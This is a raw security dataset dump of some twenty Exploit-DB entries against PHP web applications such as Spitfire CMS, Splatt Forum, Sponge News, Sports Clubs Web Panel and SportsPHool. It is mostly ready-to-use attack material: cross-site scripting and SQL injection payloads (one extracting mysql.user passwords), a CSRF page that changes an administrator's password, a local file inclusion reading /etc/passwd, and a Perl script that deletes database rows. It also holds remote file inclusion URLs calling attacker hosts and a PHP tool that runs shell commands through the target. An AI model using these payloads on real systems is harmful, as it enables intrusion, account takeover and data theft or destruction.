deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35522
Description: Spitfire 1.0.3x - 'cms_username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-29
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47077/info

Spitfire is prone to a cross-site scripting vulnerability. because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

[code]
GET / HTTP/1.1
Cookie: cms_username=admin">[xss]<
[/code]
Exploit-DB #51162
Description: Spitfire CMS 1.0.475 - PHP Object Injection
Type: webapps
Platform: php
Date: 2023-03-31
Author: LiquidWorm

Exploit:
# Exploit Title: Spitfire CMS 1.0.475 - PHP Object Injection
# Exploit Author: LiquidWorm
Vendor: Claus Muus
Product web page: http://spitfire.clausmuus.de
Affected version: 1.0.475

Summary: Spitfire is a system to manage the content of webpages.

Desc: The application is prone to a PHP Object Injection vulnerability
due to the unsafe use of unserialize() function. A potential attacker,
authenticated, could exploit this vulnerability by sending specially
crafted requests to the web application containing malicious serialized
input.

-----------------------------------------------------------------------
cms/edit/tpl_backup.inc.php:
----------------------------
47:  private function status ()
48:  {
49:      $status = array ();
50:
51:      $status['values'] = array ();
52:      $status['values'] = isset ($_COOKIE['cms_backup_values']) ? unserialize ($_COOKIE['cms_backup_values']) : array ();
...
...
77:  public function save ($values)
78:  {
79:      $values = array_merge ($this->status['values'], $values);
80:      setcookie ('cms_backup_values', serialize ($values), time()+60*60*24*30);
81:  }
-----------------------------------------------------------------------

Tested on: nginx


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5720
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5720.php


28.09.2022

--


> curl -isk -XPOST http://10.0.0.2/cms/edit/tpl_backup_action.php \
       -H 'Content-Type: application/x-www-form-urlencoded'
       -H 'Accept: */*'
       -H 'Referer: http://10.0.0.2/cms/edit/cont_index.php?tpl=backup'
       -H 'Accept-Encoding: gzip, deflate'
       -H 'Accept-Language: en-US,en;q=0.9'
       -H 'Connection: close' \
       -H 'Cookie: tip=0; cms_backup_values=O%3a3%3a%22ZSL%22%3a0%3a%7b%7d; cms_username=admin; PHPSESSID=0e63d3a8762f4bff95050d1146db8c1c' \
       --data 'action=save&&value=1'
      #--data 'action=save&&value[files]={}'
Exploit-DB #27601
Description: Spitfire CMS 1.1.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-08-15
Author: Yashar shahinzadeh

Exploit:
###################################################################################################################################
# Exploit Title: spitefire CMS - CSRF / ADD / EDTI / UPLOAD FILE
# Date: 2013 15 August
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://spitfire.clausmuus.de/
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version :  1.1.4
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###################################################################################################################################

Summary:
========
1. CSRF - Adding/Editing administrator account / UPLOAD FILE


1. CSRF - Adding/Editing administrator account:
===============================================
Spitefire cms ain't a well-coded CMS having many errors and low performance... It is not protected from CSRF as attackers are capable of adding/editing administrators account, or ever uploading a file through CSRF. I'm only giving example of chaning administrator's details:

<html>
	<body onload="submitForm()">
	<form name="myForm" id="myForm"
	action="http://localhost/spitfire_site/cms/edit/tpl_user_settings_action.php" method="post">
	<input type="hidden" name="value[password]" value="arian123">
	<input type="hidden" name="value[password2]" value="arian123">
	<input type="hidden" name="value[email]" value="y.shahinzadeh@gmail.com">
	<input type="hidden" name="action" value="save">
	</form>
	<script type='text/javascript'>document.myForm.submit();</script>
</html>

After issuing exploit, something like that may be appeared:
status = {'values':{'id':'1','realname':'Administrator','username':'admin','password':'','groups':{'all':'7','1':'4'},'may_edit_users':'1','is_admin':'1','status':'0','is_ldap_user':'0','must_change_password':'','email':'admin@admin.net','language':'en'},'messages':{},'quickbar':{'disabledButtons':{'save':'1','redo':'1'}},'statusbar':{'value':' #1'}};

I would expand on upload procedure, at the beginning of the installing site, the author is forced to give a writable directory for saving files, finding the given directory aint much difficult (default is /site/files/). The upload form doesn't have CSRF token so attacker can upload malicious file containing HTML/JAVA codes. The file will be renamed to a file without any extention after uploading, so only client side exploits and attacks can be conducted. Since file_get_contents() function executes file, the attacker must give the crafted URL which is similar to following URL:

http://localhost/spitfire_site/cms/file.php?cms_id=4&name=logo&type=text/html

text/html is the dangerous part because it's set image/gif as default.

/** Yasshar shahinzadeh **/
Exploit-DB #32554
Description: SpitFire Photo Pro - 'pages.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-31
Author: Beenu Arora

Exploit:
source: https://www.securityfocus.com/bid/32012/info

SpitFire Photo Pro is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/sapientphoto/pages.php?pageId=6634+and+1=2+union+select+1,2,3,4,5,6,concat(version(),0x3a,database(),0x3a,user())--
Exploit-DB #21514
Description: Splatt Forum 3.0 - Image Tag HTML Injection
Type: webapps
Platform: php
Date: 2002-06-06
Author: MegaHz

Exploit:
source: https://www.securityfocus.com/bid/4953/info

Splatt Forum does not filter HTML from image tags. This may allow an attacker to inject arbitrary script code in forum messages. Injected script code will be executed in the browser of an arbitrary web user who views the malicious forum message, in the context of the website running Splatt Forum.

This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users. 

[img]http://a.a/a"onerror="javascript:alert(document.cookie)[/img]
Exploit-DB #22910
Description: Splatt Forum 3/4 - Post Icon HTML Injection
Type: webapps
Platform: php
Date: 2003-07-15
Author: Lethalman

Exploit:
source: https://www.securityfocus.com/bid/8198/info

Splatt Forum has been reported prone to a HTML injection vulnerability.

An attacker may save a Splatt Forum post form, and modify it so that the post icon value contains arbitrary attacker supplied HTML code. As a result, a malicious user may have the ability to submit a post to the site containing embedded script code. This code would be executed by a user's browser in the context of the vulnerable site. 

<html>
<body>
<script>
<!-- Modify here -->
var address='http://www.splatt.it/gate.html?mop=modload&name=Forums&file=newtopic';
</script>

<!-- Exploit form -->
<script>
document.write("<form action="+address+" method='post' name='coolsus'>");
</script>
Numero forum: <input type=text name=forum value=1 size=3><br>
Username: <input CLASS=textbox TYPE="TEXT" NAME="username" SIZE="25" MAXLENGTH="40"><br>
Password: <input CLASS=textbox TYPE="PASSWORD" NAME="password" SIZE="25" MAXLENGTH="25"><br>
Soggetto: <input CLASS=textbox TYPE="TEXT" NAME="subject" SIZE="75" MAXLENGTH="75"><br>
Messaggio:<br><textarea name="message" rows="10" cols="75" wrap="VIRTUAL">&lt;/textarea&gt;<br>
<input type=hidden name=bbcode value=0>
<input type=hidden name=smile value=0>
<input type=hidden name=notify value=0>
<b>Inject code:</b> <input type=text name=image_subject value='icon1.gif">HTML CODE<!-- "' size=100><br>
<input type="submit" name="submit" value=Invia class="Button">
</form>
</body>
</html>
Exploit-DB #40997
Description: Splunk 6.1.1 - 'Referer' Header Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-01-07
Author: justpentest

Exploit:
# Exploit Title: Splunk 'Referer' Header Cross Site Scripting Vulnerability
# Date: 7th January 2017
# Exploit Author: justpentest
# Vendor Homepage: http://www.splunk.com/
# Version: Splunk 6.1.1 other versions may also be affected.
# Contact: transform2secure@gmail.com


Source: https://www.securityfocus.com/bid/67655/info
 
1) Description:
Splunk is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
2) Exploit:
 
URL: http://justpentest.com:8000/en-US/app/
 
GET /en-US/app/ HTTP/1.1
Host=justpentest.com:8000
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=javascript:prompt("XXS by justpentest");
Connection=keep-alive
----------------------------------------------------------------------------------------
Response:
 <p>This page was linked to from <a href="javascript:prompt("XXS by justpentest");">javascript:prompt("XXS by justpentest");</a>.</p>
Exploit-DB #2309
Description: Sponge News 2.2 - 'sndir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-05
Author: SHiKaA

Exploit:
#==============================================================================================
#Sponge News <= v2.2 (sndir) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://rickeeweb.free.fr/spongeweb/       
#                                                                       
#Version : v2.2                                             
#                                                         
#================================================================================================
#Bug in : news.php
#
#Vlu Code :
#--------------------------------
#      ########################
#       # Les variables utiles #
#       ########################
#       $newsdir = "news/";
#       $commentdir = "comments/";
#       $snversion = "2.2";
#       $lastmodif = "Decembre 2002";
#       $scriptdir = $sndir;
#       $page = $current;
#       require $scriptdir."config.php";
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/news.php?sndir=http://SHELLURL.COM?
#
#Example :
#       http://rickeeweb.free.fr/sndemo/
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
==================================================================================================

# milw0rm.com [2006-09-05]
Exploit-DB #29534
Description: SpoonLabs Vivvo Article Management CMS 3.40 - 'Show_Webfeed.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-27
Author: St[at]rExT

Exploit:
source: https://www.securityfocus.com/bid/22282/info

Vivvo Article Management CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 3.40; other versions may also be vulnerable.

http://www.example.com/rss/show_webfeed.php?wcCategory=0&wcHeadlines=[SQL]
Exploit-DB #14645
Description: Sports Accelerator Suite 2.0 - 'news_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-14
Author: LiquidWorm

Exploit:
 Sports Accelerator Suite v2.0 (news_id) Remote SQL Injection Vulnerability



 Vendor: Athlete Web Services, Inc. / AWS Sports
 Product Web Page: http://www.athletewebservices.com


 Summary: Content Management System (PHP+MySQL).


 Description: The CMS is vulnerable to an SQL Injection attack when input is
 passed to the "news_id" parameter. The script fails to properly sanitize the
 input before being returned to the user allowing the attacker to compromise
 the entire DB system and view sensitive information.


 =============================================================================

 GET .../show_news.php?news_id=xx%27

 1064 - You have an error in your SQL syntax. Check the manual that corresponds
 to your MySQL server version for the right syntax to use near '\'' at line xx.

 =============================================================================


 Affected Version: 1.1 and 2.0


 Tested On: Microsoft IIS 6.0
            MySQL 4.0.15-log
            PHP 4.3.3


 Vulnerability Discovered By: Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com
 http://www.zeroscience.mk


 Vendor Status: [05.06.2010] Vulnerability discovered.
                [09.08.2010] Vendor contacted.
                [13.08.2010] No response from vendor.
                [14.08.2010] Public advisory released.


 Zero Science Lab Advisory ID: ZSL-2010-4949
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4949.php


 Vector:

 -----------------------------------------------------------------------------

 Dork: "Designed and powered by AWS Sports"

 Query: http://vulnpage.tld/show_news.php?news_id=xx+and+1=0+%20union%20select%20database%28%29,2,3,4,5,6,7..[n]

 Admin: http://vulpage.tld/admin/index.php

 -----------------------------------------------------------------------------



 t00t!
Exploit-DB #6435
Description: Sports Clubs Web Panel 0.0.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-11
Author: Virangar Security

Exploit:
  ###################################################################################
  #                                                                                 #
  #   ...::::: Sports Clubs Web Panel 0.0.1 SQL Injection Vulnerability ::::....    #           
  ###################################################################################

Virangar Security Team

www.virangar.net


--------
Discoverd By :virangar security team(Zahra:zh_virangar)

special tnx :my master hadihadi

tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007

& all virangar members & all hackerz
-------
vuln codes in /include/draw-view.php:

line 22:   if(isset($_GET['id']) || isset($_POST['id'])) {
lin 23:      $teamid = $_GET['id'].$_POST['id'];
...
...
line 43:  $drawTeam = mysql_query("SELECT * FROM draw WHERE dteam = '$teamid' ORDER BY ddate");
----------
vuln codes in /include/draw-edit.php

line 1:       $id = $_GET['id'];
line 2:       $editDraw = mysql_query("SELECT * FROM draw WHERE did='$id' LIMIT 1");
--------
exploit:
http://site.com/[patch]/?p=draw-view&id='/**/union/**/select/**/1,2,3,version(),5,6,User,password%20,9/**/from/**/mysql.user/*
http://site.com/[patch]/?p=draw-edit&id='/**/union/**/select/**/1,2,3,4,5,version(),7,8,9/*
-------------
young iranian h4ck3rz

# milw0rm.com [2008-09-11]
Exploit-DB #6427
Description: Sports Clubs Web Panel 0.0.1 - 'p' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-11
Author: StAkeR

Exploit:
--==+============================================================================+==--
--==+   Sports Clubs Web Panel 0.0.1 Local File Inclusion Vulnerability          +==--    
--==+============================================================================+==--

 [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
 [+] Discovered On: 11 Sep 2008
 [+] Download: http://sourceforge.net/project/downloading.php?group_id=188949&use_mirror=ovh&filename=sportspanel-0.0.1a.tar.gz&50146370

 [*] Vulnerability:
 
 [*] LFI
 [+] index.php?p= [File %00]
 [+] http://site.com/index.php?p=../../../../../../../etc/passwd%00

# milw0rm.com [2008-09-11]
Exploit-DB #6439
Description: Sports Clubs Web Panel 0.0.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-12
Author: Stack

Exploit:
--==+============================================================================+==--
--==+   Sports Clubs Web Panel 0.0.1 Remote File upload                          +==--   
--==+============================================================================+==--

 [*] Discovered By: Stack
 [+] Discovered On: 11 Sep 2008
 [+] Download: http://sourceforge.net/project/downloading.php?group_id=188949&use_mirror=ovh&filename=sportspanel-0.0.1a.tar.gz&50146370

hello guys in this script admin need make a directory name grounds in public directory of script for the 'Add Ground' functions work
so then its will be useful for us use this exploit :d
Exploit :
http://localhost/sport/?p=grounds-add
after write any nae in Ground Name select
upload you php script and go to
http://localhost/sport/grounds/
you can see your php file uploaded

# milw0rm.com [2008-09-12]
Exploit-DB #6450
Description: Sports Clubs Web Panel 0.0.1 - Remote Game Delete
Type: webapps
Platform: php
Date: 2008-09-13
Author: ka0x

Exploit:
#!/usr/bin/perl -W

# Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit
# File affected: include/draw-delete.php (id)

# Vuln Code:

# 06:  $did = $_GET['id'];
# 08:  mysql_query("DELETE FROM draw WHERE did='$did'");

# by ka0x <ka0x01 [at] gmail [dot] com>
# D.O.M Labs - Security Researchers
# - www.domlabs.org -
#

# ka0x@domlabs:~/codes$ ./sportspanel.pl http://localhost/sportspanel 3


use LWP::UserAgent;

my $host = $ARGV[0];
my $did = $ARGV[1];

die &_USAGE unless $ARGV[1];

sub _USAGE
{
	die "
	- Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit -
	- by ka0x (www.domlabs.org)
	
	usage: ./$0 <host> <valid_game_id>
	ex: ./$0 http://localhost/sportspanel 2
	";
}

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/[PII_REDACTED] Firefox/3.0.1");

my $req = HTTP::Request->new(GET => $host."/?p=draw-delete&id=".$did);
my $res = $ua->request($req);
my $con = $res->content;

if ($res->is_success){
	if($con =~ /$did/){
		print "[+] The Game \"$did\" has been deleted from the database!\n";
	}
}

else{
	print "[-] Exploit Failed!";
}

__END__

# milw0rm.com [2008-09-13]
Exploit-DB #2227
Description: SportsPHool 1.0 - 'mainnav' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-20
Author: Kacper

Exploit:
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- SportsPHool <= 1.0 (mainnav) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: SportsPHool v.1.0
- [Script site: http://sourceforge.net/projects/sportsphool
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Exploit:

http://www.site.com/[SportsPHool_path]/includes/layout/plain.footer.php?mainnav=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-20]
Exploit-DB #18018
Description: SportsPHool 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-10-21
Author: cr4wl3r

Exploit:
<?php

/*
Sports PHool <= 1.0 Remote File Include Exploit
Found and c0ded by cr4wl3r @hackb0x
d0rk: no d0rk f0r kiddi0ts
Script:  http://sourceforge.net/projects/sportsphool/files/

usage:
target: http://target/sportsphool/includes/layout/plain.footer.php?mainnav=
evil: http://hackb0x/evilscript.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$evil = $_POST["evil"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."target:<br><input type=\"text\" name=\"target\" size=\"90\" value=\"".$target."\"><br>"
    ."evil:<br><input type=\"text\" name=\"evil\" size=\"90\" value=\"".$evil."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($target.$evil, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>
Exploit-DB #33794
Description: SpringSource (Multiple Products) - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-23
Author: Aaron Kulick

Exploit:
source: https://www.securityfocus.com/bid/38913/info

Multiple SpringSource Products are prone to multiple HTML-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

The following are vulnerable:

Hyperic HQ 4.0 prior to 4.0.3.2
Hyperic HQ 4.1 prior to 4.1.2.1
Hyper HQ Open Source
Hyperic HQ 4.2 pre-release
tc Server 6.0.20.B and prior
AMS 2.0 prior to 2.0.0.SR4 

Paste the following code into the description field:
<SCRIPT>alert("XSS Vulnerable")</SCRIPT>